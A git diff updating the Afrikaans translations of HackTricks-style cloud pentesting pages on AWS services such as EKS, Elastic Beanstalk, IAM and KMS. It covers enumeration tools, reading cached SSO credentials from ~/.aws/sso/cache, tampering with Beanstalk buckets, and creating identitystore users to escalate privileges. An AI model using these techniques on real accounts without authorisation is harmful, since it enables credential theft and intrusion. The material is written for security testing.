manier bied om gecontaineriseerde toepassings met behulp van Kubernetes op AWS te ontplooi, te bestuur en te skaal. +Amazon Elastic Kubernetes Service (Amazon EKS) is ontwerp om die behoefte aan gebruikers te verwyder om hul eie Kubernetes-beheervlak of nodes te installeer, te bedryf en te bestuur. In plaas daarvan bestuur Amazon EKS hierdie komponente, wat 'n vereenvoudigde manier bied om gecontaineriseerde toepassings te ontplooi, te bestuur en te skaal met behulp van Kubernetes op AWS. Belangrike aspekte van Amazon EKS sluit in: -1. **Geverifieerde Kubernetes Beheervlak**: Amazon EKS outomatiseer kritieke take soos patching, node provisioning, en opdaterings. -2. **Integrasie met AWS Dienste**: Dit bied naatlose integrasie met AWS-dienste vir berekening, stoor, databasis, en sekuriteit. -3. **Skaalbaarheid en Sekuriteit**: Amazon EKS is ontwerp om hoogs beskikbaar en veilig te wees, wat funksies soos outomatiese skaal en isolasie deur ontwerp bied. -4. **Compatibiliteit met Kubernetes**: Toepassings wat op Amazon EKS loop, is volledig versoenbaar met toepassings wat op enige standaard Kubernetes-omgewing loop. +1. **Gemanageerde Kubernetes Beheervlak**: Amazon EKS outomatiseer kritieke take soos patching, node provisioning, en opdaterings. +2. **Integrasie met AWS Dienste**: Dit bied naatlose integrasie met AWS dienste vir berekening, stoor, databasis, en sekuriteit. +3. **Skaalbaarheid en Sekuriteit**: Amazon EKS is ontwerp om hoogs beskikbaar en veilig te wees, met funksies soos outomatiese skaal en isolasie deur ontwerp. +4. **Compatibiliteit met Kubernetes**: Toepassings wat op Amazon EKS loop, is ten volle versoenbaar met toepassings wat op enige standaard Kubernetes-omgewing loop. #### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 115cfbd3b..3f9fc95dc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -4,11 +4,11 @@ ## Elastic Beanstalk -Amazon Elastic Beanstalk bied 'n vereenvoudigde platform vir **die ontplooiing, bestuur en skaal van webtoepassings en dienste**. Dit ondersteun 'n verskeidenheid programmering tale en raamwerke, soos Java, .NET, PHP, Node.js, Python, Ruby, en Go, sowel as Docker houers. Die diens is versoenbaar met wyd gebruikte bedieners insluitend Apache, Nginx, Passenger, en IIS. +Amazon Elastic Beanstalk bied 'n vereenvoudigde platform vir **die ontplooiing, bestuur en skaal van webtoepassings en dienste**. Dit ondersteun 'n verskeidenheid programmeertale en raamwerke, soos Java, .NET, PHP, Node.js, Python, Ruby, en Go, sowel as Docker houers. Die diens is versoenbaar met algemeen gebruikte bedieners insluitend Apache, Nginx, Passenger, en IIS. -Elastic Beanstalk bied 'n eenvoudige en buigsame manier om **jou toepassings na die AWS wolk te ontplooi**, sonder om te bekommer oor die onderliggende infrastruktuur. Dit **hanteer outomaties** die besonderhede van kapasiteit **verskaffing**, las **balansering**, **skaal**, en toepassingsgesondheid **monitering**, wat jou toelaat om te fokus op die skryf en ontplooiing van jou kode. +Elastic Beanstalk bied 'n eenvoudige en buigsame manier om **jou toepassings na die AWS wolk te ontplooi**, sonder om te bekommer oor die onderliggende infrastruktuur. Dit **hanteer outomaties** die besonderhede van kapasiteit **verskaffing**, las **balansering**, **skaal**, en toepassingsgesondheid **monitering**, wat jou toelaat om op die skryf en ontplooi van jou kode te fokus. -Die infrastruktuur geskep deur Elastic Beanstalk word bestuur deur **Autoscaling** Groepe in **EC2** (met 'n lasbalanser). Dit beteken dat aan die einde van die dag, as jy **die gasheer kompromitteer**, jy moet weet van EC2: +Die infrastruktuur wat deur Elastic Beanstalk geskep word, word bestuur deur **Autoscaling** Groepe in **EC2** (met 'n lasbalanser). Dit beteken dat aan die einde van die dag, as jy die **gasheer kompromitteer**, jy moet weet van EC2: {{#ref}} aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -22,7 +22,7 @@ aws-eks-enum.md ### Toepassing & Omgewings -In AWS Elastic Beanstalk, dien die konsepte van 'n "toepassing" en 'n "omgewing" verskillende doeleindes en het dit onderskeidende rolle in die ontplooiingsproses. +In AWS Elastic Beanstalk, dien die konsepte van 'n "toepassing" en 'n "omgewing" verskillende doeleindes en het dit onderskeie rolle in die ontplooiingsproses. #### Toepassing @@ -39,7 +39,7 @@ In AWS Elastic Beanstalk, dien die konsepte van 'n "toepassing" en 'n "omgewing" ### 2 tipes Omgewings 1. **Webbediener Omgewing**: Dit is ontwerp om **webtoepassings en API's te huisves en te bedien**. Hierdie toepassings hanteer tipies inkomende HTTP/HTTPS versoeke. Die webbediener omgewing verskaf hulpbronne soos **EC2 instansies, lasbalansers, en outo-skaal** groepe om inkomende verkeer te hanteer, kapasiteit te bestuur, en die hoë beskikbaarheid van die toepassing te verseker. -2. **Werker Omgewing**: Dit is ontwerp om **agtergrond take** te verwerk, wat dikwels tydrowende of hulpbron-intensiewe operasies is wat nie onmiddellike reaksies aan kliënte vereis nie. Die werker omgewing verskaf hulpbronne soos **EC2 instansies en outo-skaal groepe**, maar dit **het nie 'n lasbalanser** nie aangesien dit nie HTTP/HTTPS versoeke direk hanteer nie. In plaas daarvan, verbruik dit take van 'n **Amazon Simple Queue Service (SQS) waglyn**, wat as 'n buffer tussen die werker omgewing en die take wat dit verwerk, dien. +2. **Werker Omgewing**: Dit is ontwerp om **agtergrondtake** te verwerk, wat dikwels tydrowende of hulpbron-intensiewe operasies is wat nie onmiddellike reaksies aan kliënte vereis nie. Die werker omgewing verskaf hulpbronne soos **EC2 instansies en outo-skaal groepe**, maar dit **het nie 'n lasbalanser** nie aangesien dit nie HTTP/HTTPS versoeke direk hanteer nie. In plaas daarvan, verbruik dit take van 'n **Amazon Simple Queue Service (SQS) waglyn**, wat as 'n buffer tussen die werker omgewing en die take wat dit verwerk, dien. ### Sekuriteit @@ -47,9 +47,9 @@ Wanneer jy 'n App in Beanstalk skep, is daar 3 baie belangrike sekuriteitsopsies - **EC2 sleutel paar**: Dit sal die **SSH sleutel** wees wat toegang tot die EC2 instansies wat die app loop, sal hê. - **IAM instansie profiel**: Dit is die **instansie profiel** wat die instansies sal hê (**IAM voorregte**). -- Die outomaties gegenereerde rol word **`aws-elasticbeanstalk-ec2-role`** genoem en het 'n paar interessante toegang oor alle ECS, alle SQS, DynamoDB elasticbeanstalk en elasticbeanstalk S3 met behulp van die AWS bestuurde beleide: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). -- **Diens rol**: Dit is die **rol wat die AWS diens** sal gebruik om al die nodige aksies uit te voer. Afaik, 'n gewone AWS gebruiker kan nie toegang tot daardie rol kry nie. -- Hierdie rol wat deur AWS gegenereer is, word **`aws-elasticbeanstalk-service-role`** genoem en gebruik die AWS bestuurde beleide [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) en [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) +- Die outomaties gegenereerde rol word **`aws-elasticbeanstalk-ec2-role`** genoem en het 'n paar interessante toegang oor al die ECS, al die SQS, DynamoDB elasticbeanstalk en elasticbeanstalk S3 met behulp van die AWS bestuurde beleide: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). +- **Diens rol**: Dit is die **rol wat die AWS diens** sal gebruik om al die nodige aksies uit te voer. Sover ek weet, kan 'n gewone AWS gebruiker nie toegang tot daardie rol kry nie. +- Hierdie rol wat deur AWS gegenereer word, word **`aws-elasticbeanstalk-service-role`** genoem en gebruik die AWS bestuurde beleide [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) en [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) Standaard is **metadata weergawe 1 gedeaktiveer**: @@ -57,14 +57,14 @@ Standaard is **metadata weergawe 1 gedeaktiveer**: ### Blootstelling -Beanstalk data word gestoor in 'n **S3 emmer** met die volgende naam: **`elasticbeanstalk--`** (as dit in die AWS konsole geskep is). Binne hierdie emmer sal jy die opgelaaide **bronkode van die toepassing** vind. +Beanstalk data word in 'n **S3 emmer** gestoor met die volgende naam: **`elasticbeanstalk--`**(as dit in die AWS konsole geskep is). Binne hierdie emmer sal jy die opgelaaide **bronkode van die toepassing** vind. Die **URL** van die geskepte webblad is **`http://-env...elasticbeanstalk.com/`** > [!WARNING] > As jy **lees toegang** oor die emmer kry, kan jy **die bronkode lees** en selfs **sensitiewe akrediteer** daarop vind. > -> As jy **skryf toegang** oor die emmer kry, kan jy **die bronkode wysig** om die **IAM rol** wat die toepassing gebruik, die volgende keer wat dit uitgevoer word, te **kompromitteer**. +> As jy **skryf toegang** oor die emmer kry, kan jy **die bronkode wysig** om die **IAM rol** wat die toepassing gebruik, die volgende keer dat dit uitgevoer word, te **kompromitteer**. ### Enumerasie ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md index 2c125e511..becf80093 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md @@ -4,7 +4,7 @@ ## ElastiCache -AWS ElastiCache is 'n volledig **bestuurde in-geheue data-opslag en kasdiens** wat hoë-prestasie, lae-latensie, en skaalbare oplossings vir toepassings bied. Dit ondersteun twee gewilde oopbron in-geheue enjins: **Redis en Memcached**. ElastiCache **vereenvoudig** die **opstelling**, **bestuur**, en **onderhoud** van hierdie enjins, wat ontwikkelaars in staat stel om tydrowende take soos voorsiening, patching, monitering, en **rugsteun** te ontlaai. +AWS ElastiCache is 'n volledig **bestuurde in-geheue data stoor en kas diens** wat hoë-prestasie, lae-latensie, en skaalbare oplossings vir toepassings bied. Dit ondersteun twee gewilde oopbron in-geheue enjins: **Redis en Memcached**. ElastiCache **vereenvoudig** die **opstelling**, **bestuur**, en **onderhoud** van hierdie enjins, wat ontwikkelaars toelaat om tydrowende take soos voorsiening, patching, monitering, en **rugsteun** oor te dra. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index 69756455d..4eda572b3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -8,14 +8,14 @@ AWS se Elastic MapReduce (EMR) diens, wat begin met weergawe 4.8.0, het 'n **vei Belangrike kenmerke sluit in: -- **Kluster Versleuteling Standaard**: Standaard is data in rus binne 'n kluster nie versleuteld nie. Dit is egter moontlik om versleuteling in te skakel wat toegang tot verskeie funksies bied: +- **Kluster Versleuteling Standaard**: Standaard is data in rus binne 'n kluster nie versleuteld nie. Dit is egter moontlik om versleuteling in te skakel, wat toegang tot verskeie funksies bied: - **Linux Unified Key Setup**: Versleutelt EBS-klustervolumes. Gebruikers kan kies vir AWS Key Management Service (KMS) of 'n pasgemaakte sleutelverskaffer. - **Open-Source HDFS Versleuteling**: Bied twee versleutelingopsies vir Hadoop: - Veilige Hadoop RPC (Remote Procedure Call), gestel op privaatheid, wat die Simple Authentication Security Layer benut. - HDFS Blok oordrag versleuteling, gestel op waar, gebruik die AES-256 algoritme. - **Versleuteling in Oordrag**: Fokus op die beveiliging van data tydens oordrag. Opsies sluit in: - **Open Source Transport Layer Security (TLS)**: Versleuteling kan geaktiveer word deur 'n sertifikaatverskaffer te kies: -- **PEM**: Vereis handmatige skepping en bundeling van PEM-sertifikate in 'n zip-lêer, waarna verwys word vanaf 'n S3-bucket. +- **PEM**: Vereis handmatige skepping en bundeling van PEM-sertifikate in 'n zip-lêer, verwys van 'n S3-bucket. - **Pasgemaak**: Betrek die toevoeging van 'n pasgemaakte Java-klas as 'n sertifikaatverskaffer wat versleutelingartefakte verskaf. Sodra 'n TLS-sertifikaatverskaffer in die veiligheidskonfigurasie geïntegreer is, kan die volgende toepassingspesifieke versleutelingkenmerke geaktiveer word, wat wissel op grond van die EMR-weergawe: @@ -32,7 +32,7 @@ Sodra 'n TLS-sertifikaatverskaffer in die veiligheidskonfigurasie geïntegreer i - Gebruik Simple Authentication Security Layer en 3DES vir Blok Oordragdiens. - Eksterne shuffle diens is beveilig met die Simple Authentication Security Layer. -Hierdie kenmerke verbeter saam die sekuriteitsposisie van EMR-klusters, veral met betrekking tot databeskydding tydens berging en oordragfases. +Hierdie kenmerke verbeter saam die sekuriteitsposisie van EMR-klusters, veral met betrekking tot databeskydding tydens berging en oordrag fases. #### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index 8808e6969..ee7290428 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -101,20 +101,20 @@ bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt ``` #### bf-aws-perms-simulate -Die hulpmiddel [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) kan jou huidige toestemmings (of dié van ander principals) vind as jy die toestemming **`iam:SimulatePrincipalPolicy`** het. +Die hulpmiddel [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) kan jou huidige toestemming (of dié van ander principals) vind as jy die toestemming **`iam:SimulatePrincipalPolicy`** het. ```bash # Ask for permissions python3 aws_permissions_checker.py --profile [--arn ] ``` #### Perms2ManagedPolicies -As jy **sekere toestemmings gevind het wat jou gebruiker het**, en jy dink dat dit toegeken word deur 'n **bestuurde AWS rol** (en nie deur 'n pasgemaakte een nie). Jy kan die hulpmiddel [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) gebruik om al die **AWS bestuurde rolle wat die toestemmings wat jy ontdek het dat jy het, toeken** te kontroleer. +As jy **sekere toestemmings wat jou gebruiker het** gevind het, en jy dink dat dit deur 'n **bestuurde AWS-rol** (en nie deur 'n pasgemaakte een nie) toegeken word. Jy kan die hulpmiddel [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) gebruik om al die **AWS bestuurde rolle wat die toestemmings wat jy ontdek het dat jy het, toeken** te kontroleer. ```bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt ``` > [!WARNING] -> Dit is moontlik om te "weet" of die toestemmings wat jy het, toegeken is deur 'n AWS bestuurde rol as jy sien dat **jy toestemmings oor dienste het wat nie gebruik word nie** byvoorbeeld. +> Dit is moontlik om te "weet" of die toestemmings wat jy het, toegeken is deur 'n AWS bestuurde rol as jy sien dat **jy toestemmings oor dienste het wat nie gebruik word** nie, byvoorbeeld. #### Cloudtrail2IAM @@ -126,13 +126,13 @@ pip install -r requirements.txt python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS] ``` > [!WARNING] -> As jy .tfstate (Terraform toestand lêers) of CloudFormation lêers (dit is gewoonlik yaml lêers wat binne 'n emmer met die voorvoegsel cf-templates geleë is) vind, kan jy dit ook lees om aws konfigurasie te vind en te sien watter toestemmings aan wie toegeken is. +> As jy .tfstate (Terraform toestand lêers) of CloudFormation lêers vind (hierdie is gewoonlik yaml lêers wat binne 'n emmer met die voorvoegsel cf-templates geleë is), kan jy dit ook lees om aws konfigurasie te vind en te sien watter toestemmings aan wie toegeken is. #### enumerate-iam -Om die hulpmiddel [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) te gebruik, moet jy eers al die API AWS eindpunte aflaai, van daardie sal die skrip **`generate_bruteforce_tests.py`** al die **"list\_", "describe\_", en "get\_" eindpunte kry.** En uiteindelik sal dit probeer om **toegang tot hulle** te verkry met die gegewe akrediteer en **aangee of dit gewerk het**. +Om die hulpmiddel [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) te gebruik, moet jy eers al die API AWS eindpunte aflaai, van daardie sal die skrif **`generate_bruteforce_tests.py`** al die **"list\_", "describe\_", en "get\_" eindpunte kry.** En uiteindelik sal dit probeer om **toegang tot hulle** te verkry met die gegewe akrediteer en **aangee of dit gewerk het**. -(Volgens my ervaring hang die **hulpmiddel op 'n sekere punt**, [**kyk na hierdie oplossing**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) om te probeer om dit reg te stel). +(Volgens my ervaring hang die **hulpmiddel op 'n sekere punt**, [**kyk na hierdie regstelling**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) om te probeer om dit reg te stel). > [!WARNING] > Volgens my ervaring is hierdie hulpmiddel soos die vorige, maar werk erger en kontroleer minder toestemmings. @@ -154,7 +154,7 @@ python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--sess ``` #### weirdAAL -Jy kan ook die hulpmiddel [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki) gebruik. Hierdie hulpmiddel sal **verskeie algemene operasies op verskeie algemene dienste nagaan** (sal 'n paar enumerasie-toestemmings en ook 'n paar privesc-toestemmings nagaan). Maar dit sal slegs die gekodeerde toetse nagaan (die enigste manier om meer goed na te gaan is om meer toetse te kodeer). +Jy kan ook die hulpmiddel [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki) gebruik. Hierdie hulpmiddel sal **verskeie algemene operasies op verskeie algemene dienste nagaan** (sal 'n paar enumerasie-toestemmings en ook 'n paar privesc-toestemmings nagaan). Maar dit sal net die gekodeerde toetse nagaan (die enigste manier om meer goed na te gaan is om meer toetse te kodeer). ```bash # Install git clone https://github.com/carnal0wnage/weirdAAL.git @@ -230,7 +230,7 @@ Op die volgende bladsy kan jy kyk hoe om **IAM-toestemmings te misbruik om voorr ../aws-post-exploitation/aws-iam-post-exploitation.md {{#endref}} -### IAM Persistensie +### IAM Persistence {{#ref}} ../aws-persistence/aws-iam-persistence.md @@ -244,7 +244,7 @@ Jy kan 'n **beskrywing van IAM Identiteitsentrum** vind in: ../aws-basic-information/ {{#endref}} -### Verbinding via SSO met CLI +### Verbind via SSO met CLI ```bash # Connect with sso via CLI aws configure sso aws configure sso @@ -255,7 +255,7 @@ sso_account_id = sso_role_name = AdministratorAccess sso_region = us-east-1 ``` -### Enumeration +### Enumerasie Die hoofelemente van die Identiteitsentrum is: @@ -266,7 +266,7 @@ Die hoofelemente van die Identiteitsentrum is: Dan word verhoudings geskep sodat gebruikers/groepe Toestemmingsstelle oor AWS-rekening het. > [!NOTE] -> Let daarop dat daar 3 maniere is om beleide aan 'n Toestemmingsstel te heg. Heg AWS bestuurde beleide, Kliënt bestuurde beleide (hierdie beleide moet in al die rekeninge geskep word wat die Toestemmingsstel beïnvloed), en inline beleide (gedefinieer daar). +> Let daarop dat daar 3 maniere is om beleide aan 'n Toestemmingsstel te heg. Om AWS-beheerde beleide, Kliënt-beheerde beleide (hierdie beleide moet in al die rekeninge geskep word wat die Toestemmingsstel beïnvloed), en inline beleide (gedefinieer daar) aan te heg. ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -327,9 +327,9 @@ aws sso login --profile my-sso-profile # Use dependent-profile aws s3 ls --profile dependent-profile ``` -Wanneer 'n **profiel van SSO gebruik word** om toegang tot sekere inligting te verkry, word die geloofsbriewe **in 'n lêer in die gids **`$HOME/.aws/sso/cache`** gestoor. Daarom kan dit **gelees en daar gebruik word**. +Wanneer 'n **profiel van SSO gebruik word** om toegang tot sekere inligting te verkry, word die geloofsbriewe **gekas** in 'n lêer binne die gids **`$HOME/.aws/sso/cache`**. Daarom kan hulle **gelees en daar gebruik word**. -Boonop kan **meer geloofsbriewe** in die gids **`$HOME/.aws/cli/cache`** gestoor word. Hierdie cache-gids word hoofsaaklik gebruik wanneer jy **met AWS CLI-profiele werk** wat IAM-gebruiker geloofsbriewe gebruik of **aanneem** rolle deur IAM (sonder SSO). Konfigurasie voorbeeld: +Boonop kan **meer geloofsbriewe** in die gids **`$HOME/.aws/cli/cache`** gestoor word. Hierdie kasgids word hoofsaaklik gebruik wanneer jy **met AWS CLI-profiele werk** wat IAM-gebruiker geloofsbriewe gebruik of **aanneem** rolle deur IAM (sonder SSO). Konfigurasie voorbeeld: ```ini [profile crossaccountrole] role_arn = arn:aws:iam::234567890123:role/SomeRole @@ -365,8 +365,8 @@ aws identitystore create-user --identity-store-id --user-name privesc ``` - Skep 'n groep en ken dit toestemmings toe en stel 'n beheerde gebruiker daarop in - Gee ekstra toestemmings aan 'n beheerde gebruiker of groep -- Standaard sal slegs gebruikers met toestemmings van die Bestuursrekening toegang hê tot en beheer oor die IAM Identiteitsentrum. +- Standaard sal slegs gebruikers met toestemmings van die Bestuursrekening toegang hê en die IAM Identiteitsentrum kan beheer. -Dit is egter moontlik om via 'n Gedelegeerde Administrateur gebruikers van 'n ander rekening toe te laat om dit te bestuur. Hulle sal nie presies dieselfde toestemming hê nie, maar hulle sal in staat wees om [**bestuursaktiwiteite**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) uit te voer. +Dit is egter moontlik om via 'n Gedelegeerde Administrateur gebruikers van 'n ander rekening toe te laat om dit te bestuur. Hulle sal nie presies dieselfde toestemmings hê nie, maar hulle sal in staat wees om [**bestuursaktiwiteite**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) uit te voer. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index 9349898cd..d2cfcb465 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -4,7 +4,7 @@ ## Kinesis Data Firehose -Amazon Kinesis Data Firehose is 'n **volledig bestuurde diens** wat die aflewering van **regstreekse stroomdata** fasiliteer. Dit ondersteun 'n verskeidenheid bestemmings, insluitend Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, en pasgemaakte HTTP-eindpunte. +Amazon Kinesis Data Firehose is 'n **volledig bestuurde diens** wat die aflewering van **regte tyd stroomdata** fasiliteer. Dit ondersteun 'n verskeidenheid bestemmings, insluitend Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, en pasgemaakte HTTP-eindpunte. Die diens verlig die behoefte om toepassings te skryf of hulpbronne te bestuur deur data produsente toe te laat om gekonfigureer te word om data direk na Kinesis Data Firehose te stuur. Hierdie diens is verantwoordelik vir die **outomatiese aflewering van data na die gespesifiseerde bestemming**. Daarbenewens bied Kinesis Data Firehose die opsie om die **data voor sy aflewering te transformeer**, wat die buigsaamheid en toepaslikheid daarvan vir verskeie gebruiksgevalle verbeter. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index c5965741d..92b4a879f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -4,7 +4,7 @@ ## KMS - Sleutelbestuurdiens -AWS Sleutelbestuurdiens (AWS KMS) word aangebied as 'n bestuurde diens, wat die proses vir gebruikers vereenvoudig om **klant meester sleutels** (CMKs) te **skep en te bestuur**. Hierdie CMKs is integraal in die versleuteling van gebruikersdata. 'n Opmerkelijke kenmerk van AWS KMS is dat CMKs hoofsaaklik **beveilig word deur hardeware sekuriteitsmodules** (HSMs), wat die beskerming van die versleuteling sleutels verbeter. +AWS Sleutelbestuurdiens (AWS KMS) word aangebied as 'n bestuurde diens, wat die proses vir gebruikers vereenvoudig om **klant meester sleutels** (CMKs) te **skep en te bestuur**. Hierdie CMKs is integraal in die versleuteling van gebruikersdata. 'n Opmerklike kenmerk van AWS KMS is dat CMKs hoofsaaklik **beveilig word deur hardeware sekuriteitsmodules** (HSMs), wat die beskerming van die versleuteling sleutels verbeter. KMS gebruik **simmetriese kriptografie**. Dit word gebruik om **inligting in rus te versleutelen** (byvoorbeeld, binne 'n S3). As jy **inligting in oordrag wil versleutelen**, moet jy iets soos **TLS** gebruik. @@ -19,9 +19,9 @@ KMS is 'n **streekspesifieke diens**. Daar is 2 tipes meester sleutels: - **AWS bestuurde CMKs: Gebruik deur ander dienste om data te versleutelen**. Dit word gebruik deur die diens wat dit in 'n streek geskep het. Hulle word geskep die eerste keer wat jy die versleuteling in daardie diens implementeer. Dit draai elke 3 jaar en dit is nie moontlik om dit te verander nie. -- **Klant bestuurder CMKs**: Buigsaamheid, rotasie, konfigureerbare toegang en sleutelbeleid. Aktiveer en deaktiveer sleutels. +- **Klant bestuurde CMKs**: Buigsaamheid, rotasie, konfigureerbare toegang en sleutelbeleid. Aktiveer en deaktiveer sleutels. -**Envelope Versleuteling** in die konteks van Sleutelbestuurdiens (KMS): Twee-laag hiërargie stelsel om **data met data sleutel te versleutelen en dan data sleutel met meester sleutel te versleutelen**. +**Envelop Versleuteling** in die konteks van Sleutelbestuurdiens (KMS): Twee-laag hiërargie stelsel om **data met data sleutel te versleutelen en dan data sleutel met meester sleutel te versleutelen**. ### Sleutelbeleide @@ -37,7 +37,7 @@ In teenstelling met ander AWS hulpbronbeleide, 'n AWS **KMS sleutelbeleid gee ni - Dit **laat die rekening toe om IAM beleide te gebruik** om toegang tot die KMS sleutel toe te laat, benewens die sleutelbeleid. -**Sonder hierdie toestemming is IAM beleide wat toegang tot die sleutel toelaat, ondoeltreffend**, alhoewel IAM beleide wat toegang tot die sleutel ontken steeds doeltreffend is. +**Sonder hierdie toestemming is IAM beleide wat toegang tot die sleutel toelaat nie effektief nie**, alhoewel IAM beleide wat toegang tot die sleutel ontken steeds effektief is. - Dit **verlaag die risiko dat die sleutel onbestuurbaar word** deur toegangbeheer toestemming aan die rekening administrateurs te gee, insluitend die rekening wortel gebruiker, wat nie verwyder kan word nie. @@ -54,7 +54,7 @@ In teenstelling met ander AWS hulpbronbeleide, 'n AWS **KMS sleutelbeleid gee ni } ``` > [!WARNING] -> As die **rekening toegelaat is** (`"arn:aws:iam::111122223333:root"`) sal 'n **hoofpersoon** van die rekening **nog steeds IAM-toestemmings nodig hê** om die KMS-sleutel te gebruik. As die **ARN** van 'n rol byvoorbeeld **spesifiek toegelaat is** in die **Sleutelbeleid**, het daardie rol **nie IAM-toestemmings nodig nie**. +> As die **rekening toegelaat is** (`"arn:aws:iam::111122223333:root"`), sal 'n **hoofpersoon** van die rekening **nog steeds IAM-toestemmings** benodig om die KMS-sleutel te gebruik. As die **ARN** van 'n rol byvoorbeeld **spesifiek toegelaat is** in die **Sleutelbeleid**, benodig daardie rol **nie IAM-toestemmings nie**.
@@ -71,12 +71,12 @@ Eienskappe van 'n beleid: Toekennings: -- Laat toe om jou toestemmings aan 'n ander AWS-hoofpersoon binne jou AWS-rekening te delegeer. Jy moet dit skep met die AWS KMS API's. Dit kan die CMK-identifiseerder, die toekenningshoofpersoon en die vereiste vlak van operasie (Decrypt, Encrypt, GenerateDataKey...) aangedui word. +- Laat jou toe om jou toestemmings aan 'n ander AWS-hoofpersoon binne jou AWS-rekening te delegeer. Jy moet dit skep met die AWS KMS APIs. Dit kan die CMK-identifiseerder, die toekenningshoofpersoon en die vereiste vlak van operasie (Decrypt, Encrypt, GenerateDataKey...) aangedui word. - Nadat die toekenning geskep is, word 'n GrantToken en 'n GrantID uitgereik. **Toegang**: -- Via **sleutelbeleid** -- As dit bestaan, het dit **prioriteit** bo die IAM-beleid +- Via **sleutelbeleid** -- As dit bestaan, neem dit **prioriteit** oor die IAM-beleid. - Via **IAM-beleid** - Via **toekennings** @@ -86,36 +86,36 @@ Toekennings: Sleuteladministrateur per standaard: -- Het toegang om KMS te bestuur, maar nie om data te enkripteer of te dekripteer nie -- Slegs IAM-gebruikers en rolle kan by die Sleuteladministratorslys gevoeg word (nie groepe nie) -- As 'n eksterne CMK gebruik word, het Sleuteladministrators die toestemming om sleutelmateriaal te invoer +- Het toegang om KMS te bestuur, maar nie om data te enkripteer of te dekripteer nie. +- Slegs IAM-gebruikers en rolle kan by die Sleuteladministratorslys 